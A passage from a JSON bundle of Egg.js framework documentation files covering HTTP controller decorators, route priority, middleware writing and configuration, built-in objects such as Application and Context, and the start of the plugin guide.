{\n  mockXX(k, v) {},\n};\n```\n\nThis file will only be required under unittest environment.\n\nSimilarly, we could extend egg in this way for other object,such as Application, Context, Request, Response and Helper. See more on [environment](./env.md)\n"
  },
  {
    "path": "site/docs/basics/httpcontroller.md",
    "content": "# HTTP Controller\n\n## Use Cases\n\nWhen you need to provide HTTP services in your application, use the HTTPController decorator to declare HTTP interfaces. It's recommended for scenarios that strongly depend on the HTTP protocol. Common scenarios include:\n\n- SSR scenarios, where HTML is rendered on the server side and returned to the frontend.\n- SSE scenarios, communicating with the frontend in real-time through Server-Sent Events to implement features like AI conversations.\n- Scenarios that rely on HTTP protocol data such as cookies for business logic processing.\n\n## Usage\n\nUse the `HTTPController` decorator to declare a class as an HTTP controller, and use the `HTTPMethod` decorator to declare the specific HTTP interface information for methods in that class.\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';\n\n@HTTPController()\nexport default class SimpleController {\n  // Declare a GET /api/hello/:name interface\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello/:name' })\n  async hello(@HTTPParam() name: string) {\n    return {\n      message: 'hello ' + name,\n    };\n  }\n}\n```\n\nThe `HTTPController` decorator supports passing a `path` parameter to specify the base HTTP path for the controller, which will be concatenated with the `path` parameter in `HTTPMethod` to form the final HTTP path.\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n// Set path parameter to specify the path prefix for all interfaces in this class\n@HTTPController({ path: '/api' })\nexport default class PathController {\n  // GET /api/hello\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: 'hello' })\n  async hello() {\n    // ...\n  }\n\n  // POST /api/echo\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: 'echo' })\n  async echo() {\n    // ...\n  }\n}\n```\n\n## Path Priority\n\nThe `path` set through the `HTTPMethod` decorator is parsed using [path-to-regexp](https://github.com/pillarjs/path-to-regexp), which supports simple parameters, wildcards, and other features. When multiple `HTTPMethod` decorators satisfy path matching simultaneously, priority is needed to determine the matched interface. Interfaces with higher priority will be matched first.\n\nEgg automatically calculates a priority for each interface. The default priority rules should satisfy most scenarios. Therefore, in most cases, there's no need to manually specify priority. The default priority rules are as follows:\n\n> priority = pathHasRegExp\n> ? regexpIndexInPath.reduce((p,c) => p + c \\* 1000, 0)\n> : 100000\n\nCombined with specific examples, the default priorities of the following interfaces are shown from low to high:\n\n| Path                          | RegExp index | priority |\n| ----------------------------- | ------------ | -------- |\n| /\\*                           | [0]          | 0        |\n| /hello/:name                  | [1]          | 1000     |\n| /hello/world/message/:message | [3]          | 3000     |\n| /hello/:name/message/:message | [1, 3]       | 4000     |\n| /hello/world                  | []           | 100000   |\n\nFor business scenarios where the default priority is insufficient, you can manually specify priority through the `priority` parameter of the `HTTPMethod` decorator.\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n@HTTPController()\nexport default class PriorityController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/(api|openapi)/echo',\n    priority: 100000, // Specify higher priority for this interface\n  })\n  async high() {\n    // ...\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/(api|openapi)/(.+)',\n  })\n  async low() {\n    // ...\n  }\n}\n```\n\n## Request Parameter Decorators\n\n### HTTPHeaders\n\nThe `HTTPHeaders` decorator is used to get the complete HTTP request headers.\n\n:::warning\n⚠️ Note: Keys in headers will be converted to lowercase. Please use lowercase characters when retrieving values.\n:::\n\n```typescript\nimport {\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPHeaders,\n  IncomingHttpHeaders,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  // curl http://localhost:7001/api/hello -H 'X-Custom: custom'\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello' })\n  async getHeaders(@HTTPHeaders() headers: IncomingHttpHeaders) {\n    const custom = headers['x-custom'];\n    // ...\n  }\n}\n```\n\n### HTTPQuery/HTTPQueries\n\nThe `HTTPQuery/HTTPQueries` decorators are used to get querystring parameters from HTTP requests. `HTTPQuery` only takes the first parameter and must be of type `string`; `HTTPQueries` injects parameters as an array containing one or more values, of type `string[]`.\n\n```typescript\nimport {\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPQuery,\n  HTTPQueries,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/query' })\n  async getQueries(\n    // /api/query?user=asd&user=fgh\n    // user = 'asd'\n    // users = ['asd', 'fgh']\n    @HTTPQuery() user?: string, // When name is not set, variable name will be used automatically\n    @HTTPQueries({ name: 'user' }) users?: string[], // Can also manually specify name\n  ) {\n    // ...\n  }\n}\n```\n\n### HTTPParam\n\nThe `HTTPParam` decorator is used to get matched parameters from the HTTP request `path`, which can only be of string type. The parameter name is the same as the variable name by default, but can also be manually specified if there are alias requirements.\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  // curl http://127.0.0.1:7001/api/2088000\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/:id' })\n  async getParamId(@HTTPParam() id: string) {\n    // id is '2088000'\n    // ...\n  }\n\n  // Match the first regex-matched character in path\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/foo/(.*)' })\n  async getParamBar(@HTTPParam({ name: '0' }) bar: string) {\n    // ...\n  }\n}\n```\n\n### HTTPBody\n\nThe `HTTPBody` decorator is used to get request body content. When injecting, the framework will first parse the request body according to the `content-type` in the request header, supporting json, text, and form-urlencoded. Other `content-type` types will inject empty values. You can get the raw request body through the `Request` decorator and process it yourself.\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from 'egg';\n\nexport interface BodyData {\n  foo: string;\n  bar?: number;\n}\n\n@HTTPController()\nexport default class ArgsController {\n  // content-type: application/json\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/json-body' })\n  async getJsonBody(@HTTPBody() body: BodyData) {\n    // ...\n  }\n\n  // content-type: text/plain\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/text-body' })\n  async getTextBody(@HTTPBody() body: string) {\n    // ...\n  }\n\n  // content-type: application/x-www-form-urlencoded\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/formdata-body' })\n  async getFormBody(\n    @HTTPBody() body: FormData, // In function apps, it's FormData type\n    // @HTTPBody() body: BodyData, // In standard apps, it's a plain object\n  ) {\n    // ...\n  }\n}\n```\n\n### Cookies\n\nThe `Cookies` decorator is used to get the complete HTTP Cookies.\n\n```typescript\nimport {\n  Cookies,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPCookies,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/cookies' })\n  async getCookies(@HTTPCookies() cookies: Cookies) {\n    return {\n      success: true,\n      cookies: cookies.get('test', { signed: false }),\n    };\n  }\n}\n```\n\n### HTTPRequest\n\nThe `HTTPRequest` decorator is used to get the complete HTTP request object, allowing you to get request information such as url, headers, and body. For specific APIs, please refer to the type definitions.\n\n:::warning\n⚠️ Note: After injecting the request body through the @HTTPBody decorator, the request body will be consumed. If you also inject @HTTPRequest and consume the request body again, it will cause an error (injecting @HTTPRequest without consuming the request body to get url, headers, etc. will not be affected).\n:::\n\n```typescript\nimport {\n  HTTPBody,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPRequest,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request' })\n  async getRequest(@HTTPRequest() request: Request) {\n    const headerData = request.headers.get('x-header-key');\n    const url = request.url;\n    // Get request body arrayBuffer\n    const arrayBufferData = await request.arrayBuffer();\n    // ...\n  }\n\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request2' })\n  async getRequest2(@HTTPBody() body: object, @HTTPRequest() request: Request) {\n    // Injecting both HTTPBody and Request, reading header, url, etc. through request works normally\n    const headerData = request.headers.get('x-header-key');\n    const url = request.url;\n    // ❌ Wrong example\n    // When the request body has already been injected through HTTPBody\n    // Consuming the request body again through request will throw an exception\n    // const arrayBufferData = await request.arrayBuffer();\n    // ...\n  }\n}\n```\n\n### HTTPContext\n\nIn standard applications, you can use the `HTTPContext` decorator to get the Egg [Context][Context] object.\n\n:::warning\n⚠️ Note: The `HTTPContext` decorator is not supported in function applications.\n:::\n\n```typescript\nimport {\n  HTTPContext,\n  Context,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/context' })\n  async getContext(@HTTPContext() context: Context) {\n    // ...\n  }\n}\n```\n\n## HTTP Response\n\n### Default Response\n\nBy default, when the `HTTPMethod` function returns an object, the framework will process it with `JSON.stringify` and set `Content-Type: application/json` to return to the client.\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/json' })\n  async defaultResponse() {\n    return {\n      result: 'hello world',\n    };\n  }\n}\n```\n\n### Custom Response\n\n#### Function Applications\n\nIn function applications, when you need to return non-JSON data or set HTTP response codes and response headers, you can set and return through the globally injected `Response` object.\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })\n  async customResponse() {\n    // Response is a global object, no need to import\n    return new Response('<h1>Hello World</h1>', {\n      status: 200,\n      headers: {\n        'transfer-encoding': 'chunked',\n        'content-type': 'text/html; charset=utf-8',\n        'x-header-key': 'from-function',\n      },\n    });\n  }\n}\n```\n\n#### Standard Applications\n\nIn standard applications, you can use the APIs provided by [Context][Context] to customize HTTP response codes and response headers.\n\n```typescript\nimport {\n  Context,\n  HTTPContext,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n} from 'egg';\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })\n  async customResponse(@HTTPContext() ctx: Context) {\n    // Custom response code\n    ctx.status = 200;\n    // Add custom response header\n    ctx.set('x-custom', 'custom');\n    // Syntactic sugar for setting Content-Type, equivalent to ctx.set('content-type', 'application/json')\n    // Supports common types like json, html, etc. See https://github.com/jshttp/mime-types\n    ctx.type = 'html';\n\n    return '<h1>Hello World</h1>';\n  }\n}\n```\n\n### Stream Response\n\nSimply wrap the streaming data as a `Readable` object and return it.\n\n```typescript\nimport { Readable } from 'node:stream';\nimport { setTimeout } from 'node:timers/promises';\nimport {\n  Context,\n  HTTPContext,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n} from 'egg';\n\n// Construct streaming data\nasync function* generate(count = 5, duration = 500) {\n  yield '<html><head><title>hello stream</title></head><body>';\n  for (let i = 0; i < count; i++) {\n    yield `<h2>Stream content ${i + 1}, ${Date()}</h2>`;\n    await setTimeout(duration);\n  }\n  yield '</body></html>';\n}\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/stream' })\n  async streamResponse(@HTTPContext() ctx: Context) {\n    ctx.type = 'html';\n    return Readable.from(generate());\n  }\n}\n```\n\n[Context]: ./objects.md#context\n"
  },
  {
    "path": "site/docs/basics/index.md",
    "content": "---\ntitle: Basic\norder: 0\nnav:\n  title: Basic\n  order: 4\n---\n\n- [Structure](./structure.md)\n- [Framework Built-in Objects](./objects.md)\n- [Runtime Environment](./env.md)\n- [Configuration](./config.md)\n- [Middleware](./middleware.md)\n- [Router](./router.md)\n- [Controller](./controller.md)\n- [Service](./service.md)\n- [Plugin](./plugin.md)\n- [Scheduled Tasks](./schedule.md)\n- [Extend EGG](./extend.md)\n- [Application Startup Configuration](./app-start.md)\n"
  },
  {
    "path": "site/docs/basics/mcpcontroller.md",
    "content": ""
  },
  {
    "path": "site/docs/basics/middleware.md",
    "content": "---\ntitle: Middleware\norder: 5\n---\n\nIn [the previous chapter](../intro/egg-and-koa.md), we say that Egg is based on Koa, so the form of middleware in Egg is the same as in Koa, i.e. they are both based on [the onion model](../intro/egg-and-koa.md#middleware).\n\n## Writing Middleware\n\n### How to Write\n\nLet's take a look at how to write a middleware from a simple gzip example.\n\n```js\nconst isJSON = require('koa-is-json');\nconst zlib = require('zlib');\n\nasync function gzip(ctx, next) {\n  await next();\n\n  // convert the response body to gzip after the completion of the execution of subsequent middleware\n  let body = ctx.body;\n  if (!body) return;\n  if (isJSON(body)) body = JSON.stringify(body);\n\n  // set gzip body, correct the response header\n  const stream = zlib.createGzip();\n  stream.end(body);\n  ctx.body = stream;\n  ctx.set('Content-Encoding', 'gzip');\n}\n```\n\nYou might find that the middleware's style in the framework is exactly the same as in Koa, yes, any middleware in Koa can be used directly by the framework.\n\n### Configuration\n\nUsually the middleware has its own configuration. In the framework, a complete middleware includes the configuration process. A middleware is a single file placed under `app/middleware` directory, which needs to exports a function that accepts two parameters:\n\n- options: the configuration field of the middleware, `app.config[${middlewareName}]` will be passed in by the framework\n- app: the Application instance of current application\n\nWe will do a simple optimization to the gzip middleware above, making it do gzip compression only if the body size is greater than a configured threshold. So, we need to create a new file `gzip.js` in `app/middleware` directory.\n\n```js\n// app/middleware/gzip.js\nconst isJSON = require('koa-is-json');\nconst zlib = require('zlib');\n\nmodule.exports = (options) => {\n  return async function gzip(ctx, next) {\n    await next();\n\n    // convert the response body to gzip after the completion of the execution of subsequent middleware\n    let body = ctx.body;\n    if (!body) return;\n\n    // support options.threshold\n    if (options.threshold && ctx.length < options.threshold) return;\n\n    if (isJSON(body)) body = JSON.stringify(body);\n\n    // set gzip body, correct the response header\n    const stream = zlib.createGzip();\n    stream.end(body);\n    ctx.body = stream;\n    ctx.set('Content-Encoding', 'gzip');\n  };\n};\n```\n\n## Using Middleware\n\nAfter writing middleware, we also need to mount it, there are following ways to support:\n\n### Using Middleware in Application\n\nWe can load customized middleware completely by configuration in the application, and decide their order.\nIf we need to load the gzip middleware in the above,\nwe can edit `config.default.js` like this:\n\n```js\nmodule.exports = {\n  // configure the middleware you need, which loads in the order of array\n  middleware: ['gzip'],\n\n  // configure the gzip middleware\n  gzip: {\n    threshold: 1024, // skip response body which size is less than 1K\n  },\n};\n```\n\nThis config will be merged to `app.config.appMiddleware` at starting up.\n\n## Using Middleware in Framework and Plugin\n\nFramework and Plugin don't support to configure `middleware` in `config.default.js`, you should mount it in `app.js`:\n\n```js\n// app.js\nmodule.exports = (app) => {\n  // put to the first place to count request cost\n  app.config.coreMiddleware.unshift('report');\n};\n\n// app/middleware/report.js\nmodule.exports = () => {\n  return async function (ctx, next) {\n    const startTime = Date.now();\n    await next();\n    reportTime(Date.now() - startTime);\n  };\n};\n```\n\nMiddlewares which are defined at Application (`app.config.appMiddleware`) and Framework(`app.config.coreMiddleware`) will be merged to `app.middleware` by loader at staring up.\n\n## Using Middleware in Router\n\nThe middleware configured in the above ways is global, and it will process every request.\n\nIf you do want to take effect only for single route, you could just instantiate and mount it at `app/router.js`:\n\n```js\nmodule.exports = (app) => {\n  const gzip = app.middleware.gzip({ threshold: 1024 });\n  app.router.get('/needgzip', gzip, app.controller.handler);\n};\n```\n\n## Default Framework Middleware\n\nIn addition to application layer loading middleware, the framework itself and other plugins will also load many middlewares. All the config fields of these built-in middlewares can be modified by modifying the ones with the same name in the config file, for example [Framework Built-in Plugin](https://github.com/eggjs/egg/tree/master/app/middleware) uses a bodyParser middleware(the framework loader will change the various delimiters in the file name into the camel style), and we can add configs below in `config/config.default.js` to modify the bodyParser:\n\n```js\nmodule.exports = {\n  bodyParser: {\n    jsonLimit: '10m',\n  },\n};\n```\n\n** Note: middleware loaded by the framework and plugins are loaded earlier than those loaded by the application layer, and the application-layer middleware cannot overwrite the default framework middleware. If the application layer loads customized middleware that has the same name with default framework middleware, an error will be reported on starting up. **\n\n## Use Koa's Middleware\n\nDeveloper is free to use Koa Middleware, all middlewares used in Koa can be directly used in the framework too.\n\nFor example, Koa uses [koa-compress](https://github.com/koajs/compress) in this way:\n\n```js\nconst koa = require('koa');\nconst compress = require('koa-compress');\n\nconst app = koa();\n\nconst options = { threshold: 2048 };\napp.use(compress(options));\n```\n\nWe can load the middleware according to the framework specification like this:\n\n```js\n// app/middleware/compress.js\n// interfaces(`(options) => middleware`) exposed by koa-compress match the framework middleware requirements\nmodule.exports = require('koa-compress');\n```\n\n```js\n// config/config.default.js\nmodule.exports = {\n  middleware: ['compress'],\n  compress: {\n    threshold: 2048,\n  },\n};\n```\n\nIf the third-party Koa middleware do not follow the rule, then you can wrap it yourself:\n\n```js\n// config/config.default.js\nmodule.exports = {\n  webpack: {\n    compiler: {},\n    others: {},\n  },\n};\n\n// app/middleware/webpack.js\nconst webpackMiddleware = require('some-koa-middleware');\n\nmodule.exports = (options, app) => {\n  return webpackMiddleware(options.compiler, options.others);\n};\n```\n\n## General Configuration\n\nThese general config fields are supported by middleware loaded by the application layer and built in by the framework:\n\n- enable: enable the middleware or not\n- match: set some rules with which only the request matches can go through this middleware\n- ignore: set some rules with which the request matches can't go through this middleware\n\n### enable\n\nIf our application does not need default bodyParser to resolve the request body, we can configure enable for false to close it.\n\n```js\nmodule.exports = {\n  bodyParser: {\n    enable: false,\n  },\n};\n```\n\n### `match` and `ignore`\n\nmatch and ignore share the same parameter but do the opposite things. match and ignore cannot be configured in the same time.\n\nIf we want gzip to be used only by url requests starting with `/static`, the match config field can be set like this:\n\n```js\nmodule.exports = {\n  gzip: {\n    match: '/static',\n  },\n};\n```\n\nmatch and ignore support various types of configuration ways:\n\n1. String: when string, it sets the prefix of a url path, and all urls starting with this prefix will be matched. A string array is also accepted.\n2. Regular expression: when regular expression, all urls satisfy this regular expression will be matched.\n3. Function: when function, the request context will be passed to it and what it returns(true/false) determines whether the request is matched or not.\n\n```js\nmodule.exports = {\n  gzip: {\n    match(ctx) {\n      // enabled on ios devices\n      const reg = /iphone|ipad|ipod/i;\n      return reg.test(ctx.get('user-agent'));\n    },\n  },\n};\n```\n\nFor more configs about `match` and `ignore`, please refer to [@eggjs/path-matching](https://github.com/eggjs/egg/tree/next/packages/path-matching).\n"
  },
  {
    "path": "site/docs/basics/objects.md",
    "content": "---\ntitle: Framework Built-in Objects\norder: 2\n---\n\nAt this chapter, we will introduce some built-in basic objects in the framework, including four objects (Application, Context, Request, Response) inherited from [Koa] and some objects that extended by the framework (Controller, Service , Helper, Config, Logger), we will often see them in the follow-up documents.\n\n## Application\n\nApplication is a global application object, an application only instantiates one Application, it is inherited from [Koa.Application], we can mount some global methods and objects on it. We can easily [extend Application object] (./extend.md#Application) in plugin or application.\n\n### Events\n\nFramework will emits some events when server running, application developers or plugin developers can listen on these events to do some job like logging. As application developers, we can listen on these events in [app start script](./app-start.md).\n\n- `server`: every worker will only emit once during the runtime, after HTTP server started, framework will expose HTTP server instance by this event.\n- `error`: if any exception catched by onerror plugin, it will emit an `error` event with the exception instance and current context instance(if have), developers can listen on this event to report or logging.\n- `request` and `response`: application will emit `request` and `response` event when receive requests and ended responses, developers can listen on these events to generate some digest log.\n\n```js\n// app.js\n\nmodule.exports = (app) => {\n  app.once('server', (server) => {\n    // websocket\n  });\n  app.on('error', (err, ctx) => {\n    // report error\n  });\n  app.on('request', (ctx) => {\n    // log receive request\n  });\n  app.on('response', (ctx) => {\n    // ctx.starttime is set by framework\n    const used = Date.now() - ctx.starttime;\n    // log total cost\n  });\n};\n```\n\n### How to Get\n\nApplication object can be accessed almost anywhere in application, here are a few commonly used access ways:\n\nAlmost all files (Controller, Service, Schedule, etc.) loaded by the [Loader] (../advanced/loader.md) can export a function that is called by the Loader and uses the app as a parameter:\n\n- [App start script](./app-start.md)\n\n  ```js\n  // app.js\n  module.exports = (app) => {\n    app.cache = new Cache();\n  };\n  ```\n\n- [Controller file](./controller.md)\n\n  ```js\n  // app/controller/user.js\n  class UserController extends Controller {\n    async fetch() {\n      this.ctx.body = this.app.cache.get(this.ctx.query.id);\n    }\n  }\n  ```\n\nLike the [Koa], on the Context object, we can access the Application object via `ctx.app`. Use the above Controller file as an example:\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    this.ctx.body = this.ctx.app.cache.get(this.ctx.query.id);\n  }\n}\n```\n\nIn the instance objects that inherited from the Controller and Service base classes, the Application object can be accessed via `this.app`.\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    this.ctx.body = this.app.cache.get(this.ctx.query.id);\n  }\n}\n```\n\n## Context\n\nContext is a **request level object**, inherited from [Koa.Context]. When a request is received every time, the framework instantiates a Context object that encapsulates the information requested by the user and provides a number of convenient ways to get the request parameter or set the response information. The framework will mount all of the [Service] on the Context instance, and some plugins will mount some other methods and objects on it ([egg-sequelize] will mount all the models on the Context).\n\n### How to Get\n\nThe most common way to get the Context instance is in [Middleware], [Controller], and [Service]. The access method in the Controller is shown in the above example. In the Service, the access way is same as Controller. The access Context method in the Middleware of Egg is same as [Koa] framework gets the Context object in its middleware.\n\nThe [Middleware] of Egg also supports Koa v1 and Koa v2 two different middleware coding formats. use different format, the way to access Context instance is also slightly different:\n\n```js\n// Koa v1\nfunction* middleware(next) {\n  // this is instance of Context\n  console.log(this.query);\n  yield next;\n}\n\n// Koa v2\nasync function middleware(ctx, next) {\n  // ctx is instance of Context\n  console.log(ctx.query);\n}\n```\n\nIn addition to the request can get the Context instance, in some non-request scenario we need to access service / model and other objects on the Context instance, we can use`Application.createAnonymousContext ()` method to create an anonymous Context instance:\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    const ctx = app.createAnonymousContext();\n    // preload before app start\n    await ctx.service.posts.load();\n  });\n};\n```\n\nEach task in [Schedule](./schedule.md) takes a Context instance as a parameter so that we can more easily execute some schedule business logic:\n\n```js\n// app/schedule/refresh.js\nexports.task = async (ctx) => {\n  await ctx.service.posts.refresh();\n};\n```\n\n## Request & Response\n\nRequest is a **request level object**, inherited from [Koa.Request]. Encapsulates the Node.js native HTTP Request object, and provides a set of helper methods to get commonly used parameters of HTTP requests.\n\nResponse is a **request level object**, inherited from [Koa.Response]. Encapsulates the Node.js native HTTP Response object, and provides a set of helper methods to set the HTTP response.\n\n### How to Get\n\nWe can get the Request(`ctx.request`) and Response (` ctx.response`) instances of the current request on the Context instance.\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    const { app, ctx } = this;\n    const id = ctx.request.query.id;\n    ctx.response.body = app.cache.get(id);\n  }\n}\n```\n\n- [Koa] will proxy some methods and properties of Request and Response on Context, see [Koa.Context].\n- `ctx.request.query.id` and` ctx.query.id` are equivalent in the above example , `ctx.response.body =` and `ctx.body =` are equivalent.\n- It should be noted that get the body of POST should use `ctx.request.body` instead of` ctx.body`.\n\n## Controller\n\nEgg provides a Controller base class and recommends that all [Controller] inherit from the base class. The Controller base class has the following properties:\n\n- `ctx` - [Context](#context) instance of the current request.\n- `app` - [Application](#application) instance.\n- `config` - application [configuration](./config.md).\n- `service` - all [service](./ service.md) of application.\n- `logger` - the encapsulated logger object for the current controller.\n\nIn the Controller file, there are two ways to use the Controller base class:\n\n```js\n// app/controller/user.js\n\n// get from egg (recommend)\nconst Controller = require('egg').Controller;\nclass UserController extends Controller {\n  // implement\n}\nmodule.exports = UserController;\n\n// get from app instance\nmodule.exports = (app) => {\n  return class UserController extends app.Controller {\n    // implement\n  };\n};\n```\n\n## Service\n\nEgg provides a Service base class and recommends that all [Service] inherit from the base class.\n\nThe properties of the Service base class are the same as those of the [Controller](#controller) base class, the access method is similar:\n\n```js\n// app/service/user.js\n\n// get from egg (recommend)\nconst Service = require('egg').Service;\nclass UserService extends Service {\n  // implement\n}\nmodule.exports = UserService;\n\n// get from app instance\nmodule.exports = (app) => {\n  return class UserService extends app.Service {\n    // implement\n  };\n};\n```\n\n## Helper\n\nHelper is used to provide some useful utility functions. Its role is that we can put some commonly used functions into helper.js, so we can use JavaScript to write complex logic, avoid the logic being scattered everywhere, and can be more convenient to write test cases.\n\nThe Helper itself is a class that has the same properties as the [Controller](#controller) base class, and it will be instantiated at each request so that all functions on the Helper can also get context of the current request.\n\n### How to Get\n\nWe can get the Helper(`ctx.helper`) instance of the current request on the Context instance.\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    const { app, ctx } = this;\n    const id = ctx.query.id;\n    const user = app.cache.get(id);\n    ctx.body = ctx.helper.formatUser(user);\n  }\n}\n```\n\nIn addition, Helper instances can also be accessed in template, for example, we can get `shtml` method provided by [security](../core/security.md) plugin in template.\n\n```\n// app/view/home.nj\n{{ helper.shtml(value) }}\n```\n\n### Custom helper method\n\nIn application development, we may often customize some helper methods, such as `formatUser` in the above example, we can customize helper method with a way of [framework extension](./extend.md#helper).\n\n```js\n// app/extend/helper.js\nmodule.exports = {\n  formatUser(user) {\n    return only(user, ['name', 'phone']);\n  },\n};\n```\n\n## Config\n\nWe recommend application development to follow the principle of configuration and code separation, put hard-coded business in configuration file, and the configuration file supports different runtime environments using different configurations, it is very convenient to use it. the framework, plugin and application-level configurations are available via the Config object. For configuration of Egg, read [Configuration](./config.md) in detail.\n\n### How to Get\n\nWe can get the config object from the Application instance via `app.config`, or get the config object via` this.config` on the instance of Controller, Service or Helper.\n\n## Logger\n\nEgg builds in powerful [logger](../core/logger.md), it is very convenient to print a variety of levels of logs to the corresponding log file, each logger object provides 4 level methods:\n\n- `logger.debug()`\n- `logger.info()`\n- `logger.warn()`\n- `logger.error()`\n\nEgg provides a number of Logger object, we simply introduce how to get each Logger and its use scenario.\n\n### App Logger\n\nWe can get it via `app.logger`. If we want to do some application-level logging, such as logging some data in the startup phase, logging some business informations that are unrelated to request, those can be done by App Logger.\n\n### App CoreLogger\n\nWe can get it via `app.coreLogger`, and we should not print logs via CoreLogger when developing applications. the framework and plugins need to print application-level logs to make it easier to distinguish from logs printed by applications and logs printed by frameworks, the logs printed by the CoreLogger will be placed in a different file than the Logger.\n\n### Context Logger\n\nWe can get it via `ctx.logger` from Context instance, we can see from access method, Context Logger must be related to the request, it will take current request related information (such as `[$userId/$ip/$traceId/${cost}ms $method $url]`) in the front of logs, with this information, we can quickly locate requests from logs and concatenate all logs in one request.\n\n### Context CoreLogger\n\nWe can get it via `ctx.coreLogger`, the difference between the Context Logger is that only plugins and framework will log via it.\n\n### Controller Logger & Service Logger\n\nWe can get them via `this.logger` in Controller and Service instance, they are essentially a Context Logger, but additional file path will be added to logs, easy to locate the log print location.\n\n## Subscription\n\nSubscription is a common model for subscribing, for example, the consumer in message broker or schedule, so we provide the Subscription base class to normalize this model.\n\nThe base class of Subscription can be exported in the following way.\n\n```js\nconst Subscription = require('egg').Subscription;\n\nclass Schedule extends Subscription {\n  // This method should be implemented\n  // subscribe can be async function or generator function\n  async subscribe() {}\n}\n```\n\nWe recommend plugin developers to implement based on this model, For example, [Schedule](./schedule.md).\n\n[koa]: http://koajs.com\n[koa.application]: http://koajs.com/#application\n[koa.context]: http://koajs.com/#context\n[koa.request]: http://koajs.com/#request\n[koa.response]: http://koajs.com/#response\n[egg-sequelize]: https://github.com/eggjs/egg-sequelize\n[middleware]: ./middleware.md\n[controller]: ./controller.md\n[service]: ./service.md\n"
  },
  {
    "path": "site/docs/basics/plugin.md",
    "content": "---\ntitle: Plugin\norder: 9\n---\n\nPlugin mechanism is a major feature of our framework. Not only can it ensure that the core of the framework is sufficiently streamlined, stable and efficient, but also can promote the reuse of business logic and the formation of an ecosystem. In the following sections, we will try to answer questions such as\n\n- Koa already has a middleware mechanism, why plugins?\n- What are the differences/relationship between middleware and plugins?\n- How do I use a plugin?\n- How do I write a plugin?\n- ...\n\n## Why plugins?\n\nHere are some of the issues we think that can arise when using Koa middleware:\n\n1.  Middleware loading is sequential and it is the user's responsibility to setup the execution sequence since middleware mechanism can not manage the actual order. This, in fact, is not very friendly. When the order is not correct, it can lead to unexpected results.\n2.  Middleware positioning is geared towards intercepting user requests to add additional logic before or after such as: authentication, security checks, logging and so on. However, in some cases, such functionality can be unrelated to the request, for example, timing tasks, message subscriptions, back-end logic and so on.\n3.  Some features include very complex initialization logic that needs to be done at application startup. This is obviously not suitable for middleware to achieve.\n\nTo sum up, we need a more powerful mechanism to manage, orchestrate those relatively independent business logic.\n\n### The Relationship Between Middleware, Plugins and Application\n\nA plugin is actually a \"mini-application\", almost the same as an app:\n\n- It contains [Services](./service.md), [middleware](./middleware.md), [config](./config.md), [framework extensions](./extend.md), etc.\n- It does not have separate [Router](./router.md) and [Controller](./controller.md).\n- It does not have `plugin.js`, it could only define dependencies with others, but could not deside whether other plugin is enable or not.\n\nTheir relationship is:\n\n- Applications can be directly introduced into Koa's middleware.\n- When it comes to the scene mentioned in the previous section, the app needs to import the plugin.\n- The plugin itself can contain middleware.\n- Multiple plugins can be wrapped as an [upper frame](../advanced/framework.md).\n\n## Using Plugins\n\nPlugins are usually added via the npm module:\n\n```bash\n$ npm i egg-mysql --save\n```\n\n**Note: We recommend introducing dependencies in the `^` way, and locking versions are strongly discouraged.**\n\n```json\n{\n  \"dependencies\": {\n    \"egg-mysql\": \"^ 3.0.0\"\n  }\n}\n```\n\nThen you need to declare it in the `config / plugin.js` application or framework:\n\n```js\n// config / 